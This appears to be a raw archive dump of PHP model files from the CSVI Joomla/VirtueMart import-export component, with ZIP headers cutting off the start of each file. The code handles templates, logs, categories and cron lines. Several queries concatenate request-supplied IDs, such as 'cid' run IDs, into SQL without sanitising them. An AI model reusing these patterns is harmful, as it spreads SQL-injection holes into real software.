JHtml::_('select.option', '', JText::_('COM_CSVI_MAKE_CHOICE'), 'value', 'text', true); return $options; } /** * Load the languages in the system * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of available languages * @since 4.0 */ public function getLanguages() { $language = JFactory::getLanguage(); $known = $language->getKnownLanguages(); $options = array(); foreach ($known as $tag => $lang) { $options[] = JHtml::_('select.option', str_replace('-', '_', strtolower($lang['tag'])), $lang['name']); } return $options; } /** * Get operations for a selected component * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function getOperations() { $jinput = JFactory::getApplication()->input; $component = $jinput->get('component'); $options = ''; switch ($component) { case 'com_csvi': $options .= ''; $options .= ''; $options .= ''; $options .= ''; $options .= ''; $options .= ''; $options .= ''; break; case 'com_virtuemart': $options .= ''; $options .= ''; $options .= ''; $options .= ''; $options .= ''; $options .= ''; break; default: $options .= ''; break; } // Return the output return $options; } } ?>PKs>\ZHHcom_csvi/models/templates.phpnuW+AsetQuery($q); $templates = $db->loadObjectList(); if (!is_array($templates)) $templates = array(); $new = array(); $new[] = JHtml::_('select.option', '', JText::_('COM_CSVI_SAVE_AS_NEW_FOR_NEW_TEMPLATE')); $templates = array_merge($new, $templates); return $templates; } /** * Save export settings * * @copyright * @author RolandD * @todo * @see * @access public * @param array $data the data to be stored * @return bool true on success | false on failure * @since 3.0 */ public function save($data) { $app = JFactory::getApplication(); $jinput = JFactory::getApplication()->input; $table = $this->getTable('csvi_template_settings'); $bind = array(); $id = $jinput->get('template_id', 0, 'int'); if ($id > 0) $table->load($id); else $bind['name'] = $jinput->get('template_name', 'Template '.time(), 'string'); $bind['settings'] = json_encode($data); $table->bind($bind); if ($table->store()) { $app->enqueueMessage(JText::sprintf('COM_CSVI_PROCESS_SETTINGS_SAVED', $table->name)); } else { $app->enqueueMessage(JText::sprintf('COM_CSVI_PROCESS_SETTINGS_NOT_SAVED', $table->getError()), 'error'); } return $table->id; } /** * Remove a settings template * * @copyright * @author RolandD * @todo * @see * @access public * @param array $data the data to be stored * @return bool true on success | false on failure * @since 3.0 */ public function remove() { $app = JFactory::getApplication(); $jinput = JFactory::getApplication()->input; $table = $this->getTable('csvi_template_settings'); $table->load($jinput->get('template_id', null, 'int')); if ($table->delete()) { $app->enqueueMessage(JText::sprintf('COM_CSVI_PROCESS_SETTINGS_DELETED', $table->name)); } else { $app->enqueueMessage(JText::sprintf('COM_CSVI_PROCESS_SETTINGS_NOT_DELETED', $table->getError()), 'error'); } } /** * Get the template details * * Retrieves the template details from the csvi_templates table. If the * template id is 0, it will automatically retrieve the template details * for the template with the lowest ID in the database * * @see self::GetFirstTemplateId(); * @param $templateid integer Template ID to retrieve */ public function _getTemplate() { $row = $this->getTable($this->_tablename); if ($this->_id == 0) { $this_id = $this->GetFirstTemplateId(); } $row->load($this->_id); // Fix the price format $row->export_price_formats = self::getNumberFormat($row->export_price_format); return $row; } /** * Load the template types based on type * * @copyright * @author RolandD * @todo * @see * @access public * @param string $type The type of template to filter on * @return array list of template types * @since 3.0 */ function getTemplateTypes($type=false, $component=false) { $db = JFactory::getDBO(); $q = "SELECT CONCAT('COM_CSVI_', UPPER(template_type_name)) AS name, template_type_name AS value FROM #__csvi_template_types "; // Check any selectors $selectors = array(); if ($type) $selectors[] = "template_type = ".$db->Quote($type); if ($component) $selectors[] = "component = ".$db->Quote($component); if (!empty($selectors)) $q .= "WHERE ".implode(' AND ', $selectors); // Order by name $q .= " ORDER BY template_type_name"; $db->setQuery($q); $types = $db->loadObjectList(); // Translate the strings foreach ($types as $key => $type) { $type->value = JText::_($type->value); $types[$key] = $type; } return $types; } } ?>PKs>\EEcom_csvi/models/log.phpnuW+AsetState('filter.action', $app->getUserStateFromRequest($this->_context.'.filter.action', 'filter_actiontype', false, 'word')); // List state information. // Controls the query ORDER BY parent::populateState('l.logstamp', 'desc'); } /** * Build an SQL query to load the list data. * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return object the query to execute * @since 4.0 */ protected function getListQuery() { // Create a new query object. $jinput = JFactory::getApplication()->input; $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select('run_id AS id, userid, logstamp, action, action_type, template_name, records, run_id, file_name, run_cancelled'); $query->from('#__csvi_logs AS l'); // Add all the filters $filters = array(); if ($this->getState('filter.action')) $filters[] = $db->quoteName('action').' = '.$db->Quote($this->getState('filter.action')); if (!empty($filters)) { // Add the clauses to the query. $query->where('('.implode(' AND ', $filters).')'); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $query->order($db->getEscaped($orderCol.' '.$orderDirn)); return $query; } /** * Set the log ID * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function setId($id) { $this->_id = $id; } /** * Store the log results after import/export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return void * @since 3.0 */ public function getStoreLogResults() { // Load the settings $jinput = JFactory::getApplication()->input; $settings = $jinput->get('settings', null, null); if ($settings->get('log.log_store', 1)) { $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $logresult = $csvilog->getStats(); $details = array(); $logcount = array(); // Get the number of lines processed based on type switch ($logresult['action']) { case 'import': $logcount['import'] = $jinput->get('recordsprocessed', 0, 'int'); break; case 'export': $logcount['export'] = $jinput->get('logcount', 0, 'int'); break; case 'maintenance': $logcount['maintenance'] = $csvilog->GetLineNumber(); break; } // Get the database connector $rowlog = $this->getTable('csvi_logs'); // Check for an existing ID if (!$csvilog->getLogid()) { // Get user ID $my = JFactory::getUser(); $details['userid'] = $my->id; // Create GMT timestamp jimport('joomla.utilities.date'); $jnow = new JDate(time()); $details['logstamp'] = $jnow->toMySQL(); // Set action if it is import or export $details['action'] = $logresult['action']; // Type of action $details['action_type'] = $logresult['action_type']; // Name of template used $details['template_name'] = $logresult['action_template']; // Get the number of records $details['records'] = $logcount[$logresult['action']]; // Get the import ID $details['run_id'] = $csvilog->getId(); // Get the import filename $details['file_name'] = $csvilog->getFilename(); // Bind the data if (!$rowlog->bind($details)) { JError::raiseWarning(0, JText::_('COM_CSVI_CANNOT_BIND_LOG_DATA')); } // Check the data if (!$rowlog->check()) { JError::raiseWarning(0, JText::_('COM_CSVI_CANNOT_CHECK_LOG_DATA')); } // Store the data if (!$rowlog->store()) { JError::raiseWarning(0, JText::_('COM_CSVI_CANNOT_STORE_LOG_DATA')); } else { // Clean up any old logs $csvilog->cleanUpLogs(); } $csvilog->setLogid($rowlog->id); $rowlog->reset(); } else { $rowlog->load($csvilog->getLogid()); if (array_key_exists('action', $logresult) && isset($logcount[$logresult['action']])) $rowlog->records = $logcount[$logresult['action']]; else $rowlog->records = 0; $rowlog->store(); } // Store the log details if (is_array($logresult) && !empty($logresult)) { $q = 'INSERT INTO `#__csvi_log_details` ( `id`,`log_id`,`line`,`description`,`result`,`status` ) VALUES '; $qvalue = ''; foreach ($logresult as $linenr => $result) { if (is_int($linenr)) { foreach ($result['status'] as $status => $stat) { $qvalue .= "(0, ".$csvilog->getLogid().", ".$linenr.", ".$db->Quote(trim($stat['message'])).", '".$stat['result']."', '".$status."'),\n"; } } } if (!empty($qvalue)) { $q .= substr(trim($qvalue), 0, -1).';'; $db->setQuery($q); if ($db->query()) $csvilog->cleanStats(); } else $csvilog->cleanStats(); } } } /** * Delete 1 or more selected log entries * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of results * @since 3.0 */ public function getDelete() { $jinput = JFactory::getApplication()->input; jimport('joomla.filesystem.file'); $db = JFactory::getDBO(); $cids = $jinput->get('cid', array(), 'array'); $file_not_found = 0; $file_deleted = 0; $file_not_deleted = 0; $log_del = 0; $log_del_error = 0; $log_detail_del = 0; $log_detail_del_error = 0; // Make it an array if (!is_array($cids)) (array)$cids; $rowlog = $this->getTable('csvi_logs'); foreach ($cids as $key => $run_id) { $filename = CSVIPATH_DEBUG.'/com_csvi.log.'.$run_id.'.php'; if (JFile::exists($filename)){ if (JFile::delete($filename)) { $file_deleted++; } else $file_not_deleted++; } else $file_not_found++; // Delete the log entry if (empty($run_id)) $q = "SELECT id FROM #__csvi_logs WHERE (run_id = '' OR run_id IS NULL)"; else $q = "SELECT id FROM #__csvi_logs WHERE run_id = ".$run_id; $db->setQuery($q); $ids = $db->loadResultArray(); foreach ($ids as $idkey => $id) { if (!$rowlog->delete($id)) $log_del_error++; else { $log_del++; } // Delete the log details $q = "DELETE FROM #__csvi_log_details WHERE log_id = ".$id; $db->setQuery($q); if (!$db->query()) $log_detail_del_error++; else $log_detail_del++; } } // Set the results $results = array(); if ($file_not_found > 0) { if ($file_not_found == 1) $results['ok'][] = JText::_('COM_CSVI_DELETE_LOG_FILE_NOT_FOUND'); else $results['ok'][] = JText::sprintf('COM_CSVI_DELETE_LOGS_FILE_NOT_FOUND', $file_not_found); } if ($file_deleted > 0) { if ($file_deleted == 1) $results['ok'][] = JText::_('COM_CSVI_DELETE_LOG_FILE'); else $results['ok'][] = JText::sprintf('COM_CSVI_DELETE_LOGS_FILE', $file_deleted); } if ($file_not_deleted > 0) { if ($file_not_deleted == 1) $results['nok'][] = JText::_('COM_CSVI_CANNOT_DELETE_LOG_FILE'); else $results['nok'][] = JText::sprintf('COM_CSVI_CANNOT_DELETE_LOGS_FILE', $file_not_deleted); } if ($log_del > 0) { if ($log_del == 1) $results['ok'][] = JText::_('COM_CSVI_DELETE_LOG_DATA'); else $results['ok'][] = JText::sprintf('COM_CSVI_DELETE_LOGS_DATA', $log_del); } if ($log_del_error > 0) { if ($log_del == 1) $results['nok'][] = JText::_('COM_CSVI_CANNOT_DELETE_LOG_DATA'); else $results['nok'][] = JText::sprintf('COM_CSVI_CANNOT_DELETE_LOGS_DATA', $log_del); } if ($log_detail_del > 0) { if ($log_del == 1) $results['ok'][] = JText::_('COM_CSVI_DELETE_LOG_DETAILS_DATA'); else $results['ok'][] = JText::sprintf('COM_CSVI_DELETE_LOGS_DETAILS_DATA', $log_detail_del); } if ($log_detail_del_error > 0) { if ($log_del == 1) $results['nok'][] = JText::_('COM_CSVI_CANNOT_DELETE_LOG_DETAILS_DATA'); else $results['nok'][] = JText::sprintf('COM_CSVI_CANNOT_DELETE_LOGS_DETAILS_DATA', $log_detail_del_error); } return $results; } /** * Delete all log entries * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of results * @since 3.0 */ public function getDeleteAll() { $db = JFactory::getDBO(); $results = array(); // Empty the log table $q = "TRUNCATE ".$db->quoteName('#__csvi_logs'); $db->setQuery($q); if ($db->query()) $results['ok'][] = JText::_('COM_CSVI_DELETE_LOG_DATA_ALL_OK'); else $results['nok'][] = JText::_('COM_CSVI_DELETE_LOG_DATA_ALL_NOK'); // Empty the log details table $q = "TRUNCATE ".$db->quoteName('#__csvi_log_details'); $db->setQuery($q); if ($db->query()) $results['ok'][] = JText::_('COM_CSVI_DELETE_LOG_DATA_DETAILS_ALL_OK'); else $results['nok'][] = JText::_('COM_CSVI_DELETE_LOG_DATA_DETAILS_ALL_NOK'); return $results; } /** * Load the statistics for displaying * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStats() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); if ($csvilog) $run_id = $csvilog->getId(); else if ($jinput->get('run_id', '', 'int') > 0) $run_id = $jinput->get('run_id', '', 'int'); else { // Try to get it from the cid $cids = $jinput->get('cid', array(), 'array'); if (is_array($cids) && array_key_exists('0', $cids)) $run_id = $cids[0]; else return false; } $details = array(); if ($run_id) { jimport('joomla.filesystem.file'); // Add the run ID $details['run_id'] = $run_id; // Get the total number of records $q = "SELECT SUM(records) AS total_records FROM #__csvi_logs WHERE run_id = ".$run_id; $db->setQuery($q); $details['total_records'] = $db->loadResult(); // Get the general details $q = "SELECT MIN(id) AS min_id, MAX(id)+1 AS max_id, file_name, action, action_type, run_cancelled FROM #__csvi_logs WHERE run_id = ".$run_id." GROUP BY id"; $db->setQuery($q); $min_max = $db->loadObject(); if (!empty($min_max)) { // Protect against 'record not found' // Set the filename $details['file_name'] = $min_max->file_name; // Set the action $details['action'] = $min_max->action; // Set the action type $details['action_type'] = $min_max->action_type; // Set if the action was cancelled $details['run_cancelled'] = $min_max->run_cancelled; // Get some status results $q = "SELECT COUNT(status) AS total_result, result, status FROM #__csvi_log_details WHERE log_id BETWEEN ".$min_max->min_id." AND ".$min_max->max_id." GROUP BY status"; $db->setQuery($q); $details['result'] = $db->loadObjectList('status'); } // Check if there is a debug log file $logfile = CSVIPATH_DEBUG.'/com_csvi.log.'.$run_id.'.php'; if (JFile::exists($logfile)) { $details['debug'] = JHtml::_('link', JRoute::_('index.php?option=com_csvi&task=log.downloaddebug&run_id='.$run_id), JText::_('COM_CSVI_DOWNLOAD_DEBUG_LOG')); $attribs = 'class="modal" onclick="" rel="{handler: \'iframe\', size: {x: 950, y: 500}}"'; $details['debugview'] = JHtml::_('link', JRoute::_('index.php?option=com_csvi&task=log.logreader&tmpl=component&run_id='.$run_id), JText::_('COM_CSVI_VIEW_DEBUG_LOG'), $attribs); } else { $details['debug'] = JText::_('COM_CSVI_NO_DEBUG_LOG_FOUND'); $details['debugview'] = ''; } } return $details; } /** * Load the statistics */ public function getStatsMessage() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $run_id = $jinput->get('run_id', false, 'int'); if (!$run_id) { /* Try to get it from the cid */ $cids = $jinput->get('cid', array(), 'array'); if (is_array($cids) && array_key_exists('0', $cids)) $run_id = $cids[0]; else return false; } $details = array(); if ($run_id) { $q = "SELECT line, description, status, log_id, result FROM #__csvi_log_details WHERE log_id IN (SELECT id FROM #__csvi_logs WHERE run_id = ".$run_id.") ORDER BY line"; $db->setQuery($q); $details = $db->loadObjectList(); } return $details; } /** * Download a debug report */ public function downloadDebug() { jimport('joomla.filesystem.file'); jimport('joomla.filesystem.archive'); $jinput = JFactory::getApplication()->input; $run_id = $jinput->get('run_id', 0, 'int'); $filepath = CSVIPATH_DEBUG.'/'; $filename = 'com_csvi.log.'.$run_id.'.'; $zip = JArchive::getAdapter('zip'); $files = array(); $files[] = array('name' => $filename.'php', 'time' => filemtime($filepath.$filename.'php'), 'data' => JFile::read($filepath.$filename.'php')); $zip->create($filepath.$filename.'zip', $files); if (preg_match('/Opera[\s|\/]([^\s]+)/i', $_SERVER['HTTP_USER_AGENT'])) { $UserBrowser = "Opera"; } elseif (preg_match('/MSIE\s([^\s|;]+)/i', $_SERVER['HTTP_USER_AGENT'])) { $UserBrowser = "IE"; } else { $UserBrowser = ''; } $mime_type = ($UserBrowser == 'IE' || $UserBrowser == 'Opera') ? 'application/octetstream' : 'application/octet-stream'; /* Clean the buffer */ while( @ob_end_clean() ); header('Content-Description: File Transfer'); header('Content-Type: ' . $mime_type); header('Content-Transfer-Encoding: binary'); header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT'); header('Content-Length: ' . filesize($filepath.$filename.'zip')); if ($UserBrowser == 'IE') { header('Content-Disposition: inline; filename="'.$filename.'zip"'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); } else { header('Content-Disposition: attachment; filename="'.$filename.'zip"'); header('Pragma: no-cache'); } /* Send the file */ readfile($filepath.$filename.'zip'); JFile::delete($filepath.$filename.'zip'); /* Close the transmission */ exit(); } /** * Get the action types * * @author RolandD * @access public * @return array list of action types */ public function getActionTypes() { $db = JFactory::getDbo(); $options = array(); $options[] = JHtml::_('select.option', '', JText::_('COM_CSVI_LOG_DONT_USE')); $q = "SELECT UPPER(action) FROM #__csvi_logs GROUP BY action"; $db->setQuery($q); $actions = $db->loadResultArray(); if (!empty($actions)) { foreach ($actions as $action) { $options[] = JHTML::_('select.option', $action, JText::_('COM_CSVI_'.$action)); } } return $options; } /** * Reads a log file and displays its results * * @author RolandD * @since 2.3.11 * @access public * @return array of log lines */ public function getLogfile() { $jinput = JFactory::getApplication()->input; $run_id = $jinput->get('run_id', 0, 'int'); $log = array(); if ($run_id > 0) { $logfile = CSVIPATH_DEBUG.'/com_csvi.log.'.$run_id.'.php'; $loglines = array(); if (file_exists($logfile)) { $loglines = file($logfile); foreach ($loglines as $key => $line) { switch ($key) { case '0': // Skip the first line break; case '1': // Get the date if (strstr($line, ':')) { list($text, $value) = explode(': ', $line); } else $value = ''; $log['date'] = $value; break; case '2': // Get the Joomla version if (strstr($line, ':')) { list($text, $value) = explode(': ', $line); } else $value = ''; $log['joomla'] = $value; break; case '3': // This is an empty line break; case '4': // Get the fields if (strstr($line, ':')) { list($text, $value) = explode(': ', $line); $fields = preg_split("/\t/", $value); foreach ($fields as $fkey => $field) { $log['fields'][] = $field; } } else $log['fields'] = array(); break; default: // The actual log lines $log['entries'][] = preg_split("/\t/", $line); break; } } } } return $log; } } ?>PKs>\UȲ,,com_csvi/models/category.phpnuW+A_tables_loaded) $this->_loadTables(); } /** * Gets the ID belonging to the category path * * @copyright * @author RolandD * @todo * @see * @access public * @param string $category_path the path to get the ID for * @param int $vendor_id the vendor ID the category belongs to * @return array containing category_id * @since 3.0 */ public function getCategoryIdFromPath($category_path, $vendor_id=1) { // Check for any missing categories, otherwise create them $category = $this->_csvCategory($category_path, $vendor_id); return array('category_id' => $category[0]); } /** * Inserts the category/categories for a product * * Any existing categories will be removed first, after that the new * categories will be imported. * * @copyright * @author RolandD * @todo * @see _csvCategory() * @access * @param integer $product_id contains the product ID the category/categories belong to * @param integer $category_path contains the category/categories path for the product * @param integer $category_id contains a single or array of category IDs * @param integer $product_list the product order in the category * @param integer $vendor_id the id of the vendor the category belongs to * @return * @since */ public function checkCategoryPath($product_id=false, $category_path=false, $category_id=false, $ordering='NULL', $vendor_id=1) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $csvilog->addDebug('Checking category'); // Check if there is a product ID if (!$product_id) return false; else { // If product_parent_id is true, we have a child product, child products do not have category paths // We have a category path, need to find the ID if (!$category_id) { // Use CsvCategory() method to confirm/add category tree for this product // Modification: $category_id now is an array $category_id = $this->_csvCategory($category_path, $vendor_id); } // We have a category_id, no need to find the path if ($category_id) { // Delete old entries only if the user wants us to if (!$template->get('append_categories', 'product', false)) { $db = JFactory::getDBO(); $q = "DELETE FROM #__virtuemart_product_categories WHERE virtuemart_product_id = ".$product_id; $db->setQuery($q); $db->query(); $csvilog->addDebug(JText::_('COM_CSVI_DELETE_OLD_CATEGORIES_XREF'), true); } else $csvilog->addDebug(JText::_('COM_CSVI_NOT_DELETE_OLD_CATEGORIES_XREF')); // Insert new product/category relationships $category_xref_values = array('virtuemart_product_id' => $product_id, 'ordering' => $ordering); foreach( $category_id as $value ) { $category_xref_values['virtuemart_category_id'] = $value; $this->_product_categories_xref->bind($category_xref_values); $this->_product_categories_xref->store(); $this->_product_categories_xref->reset(); $category_xref_values['virtuemart_category_id'] = ''; } } } } /** * Load the category related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_categories = $this->getTable('categories'); $this->_categories_lang = $this->getTable('categories_lang'); $this->_categories_xref = $this->getTable('categories_xref'); $this->_product_categories_xref = $this->getTable('product_categories_xref'); $this->_tables_loaded = true; } /** * Cleaning the product related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _cleanTables() { $this->_categories->reset(); $this->_categories_lang->reset(); $this->_categories_xref->reset(); // Clean the local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') $this->$name = $value; } } /** * Creates categories from slash delimited line * * @copyright * @author John Syben, RolandD * @todo * @see * @access * @param array $category_path contains the category/categories for a product * @param int $vendor_id the id of the vendor the category belongs to * @return array containing category IDs * @since */ private function _csvCategory($category_path, $vendor_id=1) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Load the category separator if (is_null($this->_catsep)) { $this->_catsep = $template->get('category_separator', 'general', '/'); } // Check if category_path is an array, if not make it one if (!is_array($category_path)) $category_path = array($category_path); // Get all categories in this field delimited with | foreach ($category_path as $line) { $csvilog->addDebug('Checking category path: '.$line); // Explode slash delimited category tree into array $category_list = explode($this->_catsep, $line); $category_count = count($category_list); $category_parent_id = '0'; // For each category in array for($i = 0; $i < $category_count; $i++) { // Check the cache first if (array_key_exists($category_parent_id.'.'.$category_list[$i], $this->_category_cache)) { $category_id = $this->_category_cache[$category_parent_id.'.'.$category_list[$i]]; } else { // See if this category exists with it's parent in xref $lang = $template->get('language', 'general'); $query = $db->getQuery(true); $query->select('c.virtuemart_category_id'); $query->from('#__virtuemart_categories c'); $query->leftJoin('#__virtuemart_category_categories x ON c.virtuemart_category_id = x.category_child_id'); $query->leftJoin('#__virtuemart_categories_'.$lang.' l ON l.virtuemart_category_id = c.virtuemart_category_id'); $query->where('l.category_name = '.$db->Quote($category_list[$i])); $query->where('x.category_child_id = c.virtuemart_category_id'); $query->where('x.category_parent_id = '.$category_parent_id); $db->setQuery($query); $category_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_CATEGORY_EXISTS'), true); // Add result to cache $this->_category_cache[$category_parent_id.'.'.$category_list[$i]] = $category_id; } // Category does not exist - create it if (is_null($category_id)) { $timestamp = time(); // Let's find out the last category in the level of the new category $query = $db->getQuery(true); $query->select('MAX(c.ordering) + 1 AS ordering'); $query->from('#__virtuemart_categories c'); $query->leftJoin('#__virtuemart_category_categories x ON c.virtuemart_category_id = x.category_child_id'); $query->where('x.category_child_id = c.virtuemart_category_id'); $query->where('x.category_parent_id = '.$category_parent_id); $db->setQuery($query); $list_order = $db->loadResult(); if (is_null($list_order)) $list_order = 1; // Find the category and flypage setting $configname = 'Csvi'.$template->get('component', 'options').'_Config'; $config = new $configname(); // Add category $this->_categories->set('virtuemart_vendor_id', $vendor_id); $this->_categories->set('created_on', $timestamp); $this->_categories->set('modified_on', $timestamp); $this->_categories->set('ordering', $list_order); $this->_categories->set('published', $this->category_publish); $this->_categories->set('category_template', $config->get('categorytemplate')); $this->_categories->set('category_layout', $config->get('categorylayout')); $this->_categories->set('products_per_row', $config->get('products_per_row')); $this->_categories->set('category_product_layout', $config->get('productlayout')); $this->_categories->store(); $csvilog->addDebug('Add new category:', true); $category_id = $this->_categories->get('virtuemart_category_id'); // Add the category name to the language table $this->_categories_lang->set('virtuemart_category_id', $category_id); $this->_categories_lang->set('category_name', $category_list[$i]); $this->_categories_lang->check(); $this->_categories_lang->store(); // Add result to cache $this->_category_cache[$category_parent_id.'.'.$category_list[$i]] = $category_id; // Create xref with parent $this->_categories_xref->set('category_parent_id', $category_parent_id); $this->_categories_xref->set('category_child_id', $category_id); $this->_categories_xref->store(); $csvilog->addDebug('Add new category xref:', true); // Clean for the next row $this->_categories->reset(); $this->_categories_lang->reset(); $this->_categories_xref->reset(); } // Set this category as parent of next in line $category_parent_id = $category_id; } $category[] = $category_id; } // Return an array with the last category_ids which is where the product goes return $category; } } ?>PKs>\vcom_csvi/models/cron.phpnuW+Ainput; $db = JFactory::getDbo(); $settings = $jinput->get('com_csvi.data', array(), 'array'); $cronline = ''; $notemplate = false; $details = new StdClass; // Get the template used $template_id = $jinput->get('template_id', 0, 'int'); if ($template_id) { $cronline .= ' template_id="'.$template_id.'"'; // Load the template settings to compare against selection $query = $db->getQuery(true); $query->select('settings'); $query->from('#__csvi_template_settings'); $query->where('id = '.$template_id); $db->setQuery($query); $template = new CsviTemplate(json_decode($db->loadResult(), true)); $details->type = $template->get('action', 'options'); } else { $notemplate = true; // Initialise the details $details->type = $settings['options']['action']; } // Check if this is an import or export cron if ($details->type == 'export') { foreach ($settings as $group => $values) { switch($group) { case 'options': break; case 'general': if ($notemplate) $general = $settings['general']; else $general = CsviHelper::recurseArrayDiff($settings['general'], $template->get('general')); foreach ($general as $name => $setting) { switch ($name) { case 'exportto': if (!empty($setting)) { if ($setting == 'todownload') $setting = 'tofile'; $cronline .= ' jform:general:'.$name.'="'.$setting.'" '; } break; case 'localpath': if (!empty($setting)) { if ($template->get('exportto', 'general') == 'todownload' || $template->get('exportto', 'general') == 'tofile') { $cronline .= ' jform:general:'.$name.'="'.$setting.'" '; } } break; default: if (!empty($setting)) $cronline .= ' jform:general:'.$name.'="'.$setting.'" '; break; } } break; case 'export_fields': if ($notemplate) { if (array_key_exists('export_fields', $settings)) $fields = $settings['export_fields']; else $fields = array(); } else $fields = $template->get('export_fields', '', array()); if (!empty($fields)) { $fields['_selected_name'] = CsviHelper::recurseArrayDiff($settings['export_fields']['_selected_name'], $fields['_selected_name']); if (!empty($fields['_selected_name'])) { $cronline .= ' jform:export_fields:_selected_name = "'.implode('|', $settings['export_fields']['_selected_name']).'|"'; $cronline .= ' jform:export_fields:_column_header = "'.implode('|', $settings['export_fields']['_column_header']).'|"'; $cronline .= ' jform:export_fields:_default_value = "'.implode('|', $settings['export_fields']['_default_value']).'|"'; $cronline .= ' jform:export_fields:_process_field = "'.implode('|', $settings['export_fields']['_process_field']).'|"'; } } break; default: if ($notemplate) $values = $settings[$group]; else $values = CsviHelper::recurseArrayDiff($settings[$group], $template->get($group)); $cronline .= $this->_getCronSetting($values, $group); break; } } } else if ($details->type == 'import') { foreach ($settings as $group => $values) { switch($group) { case 'options': break; case 'import_fields': if ($notemplate) { if (array_key_exists('import_fields', $settings)) $fields = $settings['import_fields']; else $fields = array(); } else { // Create a default value $default = array(); $default['_selected_name'][] = ''; $fields = $template->get('import_fields', '', $default); $fields['_selected_name'] = CsviHelper::recurseArrayDiff($settings['import_fields']['_selected_name'], $fields['_selected_name']); } if (!empty($fields)) { if (!empty($fields['_selected_name'])) { $cronline .= ' jform:import_fields:_selected_name = "'.implode('|', $settings['import_fields']['_selected_name']).'|"'; $cronline .= ' jform:import_fields:_default_value = "'.implode('|', $settings['import_fields']['_default_value']).'|"'; $cronline .= ' jform:import_fields:_process_field = "'.implode('|', $settings['import_fields']['_process_field']).'|"'; } } break; default: if ($notemplate) { $values = $settings[$group]; if (!is_array($values)) { $values = array(); $values[$group] = $settings[$group]; } } else $values = CsviHelper::recurseArrayDiff($settings[$group], $template->get($group)); $cronline .= $this->_getCronSetting($values, $group); break; } } } return $cronline; } /** * Build the command to use for the cron command to do a maintenance task * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string the parameters for the cron line * @since 3.0 */ public function getCronLineMaintenance() { $jinput = JFactory::getApplication()->input; $operation = $jinput->get('operation'); $cronline = 'task="maintenance" operation="'.strtolower($operation).'"'; // Handle the ICEcat settings switch ($operation) { case 'icecatindex': $cronline .= ' icecatlocation="'.$jinput->get('icecatlocation', '', 'var').'"'; $cronline .= ' icecat_gzip="'.$jinput->get('icecat_gzip', 1, 'int').'"'; $icecat_options = $jinput->get('icecat', array(), 'var'); if (!empty($icecat_options)) { $cronline .= ' icecat="'.implode('|', $icecat_options).'"'; } break; case 'restoretemplates': $cronline = ' restore_file=""'; break; } return $cronline; } /** * Create the cron parameter * * @copyright * @author RolandD * @todo * @see * @access private * @param string $values array of values to add to the cronline * @param string $type the name of the export type * @return string the command line * @since 3.0 */ private function _getCronSetting($values, $type) { $cronline = ''; if (is_array($values)) { foreach ($values as $name => $setting) { switch ($name) { case 'custom_table': $cronline .= ' jform:'.$type.'="'.$setting.'"'; break; default: if (!empty($setting)) { if (is_array($setting)) { if (!empty($setting[0])) $cronline .= ' jform:'.$type.':'.$name.'="'.implode('|', $setting).'|"'; } else $cronline .= ' jform:'.$type.':'.$name.'="'.$setting.'"'; } break; } } } return $cronline; } } ?>PKs>\ע!((com_csvi/models/install.phpnuW+A_getVersion(); if (empty($version)) $version = 'current'; return $version; } /** * Start performing the upgrade * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string the result of the upgrade * @since 3.0 */ public function getUpgrade() { // Get the currently installed version $version = $this->_translateVersion(); // Migrate the data in the tables if ($this->_migrateTables($version)) $this->_results['messages'][] = JText::_('COM_CSVI_UPGRADE_OK'); // Update the version number in the database $this->_setVersion(); // Load the components $this->_loadComponents(); // Send the results back return $this->_results; } /** * Migrate the tables * * @copyright * @author RolandD * @todo * @see * @access private * @param string $version the version being migrated from * @return bool true if migration is OK | false if errors occured during migration * @since 3.0 */ private function _migrateTables($version) { $db = JFactory::getDbo(); switch ($version) { case '4.0': break; default: break; } } /** * Proxy function for calling the update the available fields * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getAvailableFields() { // Get the logger class $jinput = JFactory::getApplication()->input; $csvilog = new CsviLog(); $jinput->set('csvilog', $csvilog); $model = $this->getModel('Availablefields'); // Prepare to load the available fields $model->prepareAvailableFields(); // Update the available fields $model->getFillAvailableFields(); } /** * Proxy function for installing sample templates * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getSampleTemplates() { $db = JFactory::getDbo(); // Read the example template file $fp = fopen(JPATH_COMPONENT_ADMINISTRATOR.'/install/example_templates.csv', "r"); if ($fp) { while (($data = fgetcsv($fp, 0, ",")) !== FALSE) { $db->setQuery("INSERT IGNORE INTO #__csvi_template_settings (".$db->quoteName('name').", ".$db->quoteName('settings').") VALUES (".$db->Quote($data[0]).", ".$db->Quote($data[1]).")"); if ($db->query()) { $this->_results['messages'][] = JText::sprintf('COM_CSVI_RESTORE_TEMPLATE', $data[0]); } else { $this->_results['messages'][] = $db->getErrorMsg(); $this->_results['messages'][] = JText::sprintf('COM_CSVI_COMPONENT_HAS_NOT_BEEN_ADDED', $file); } } fclose($fp); } } /** * Create a proxy for including other models * * @copyright * @author 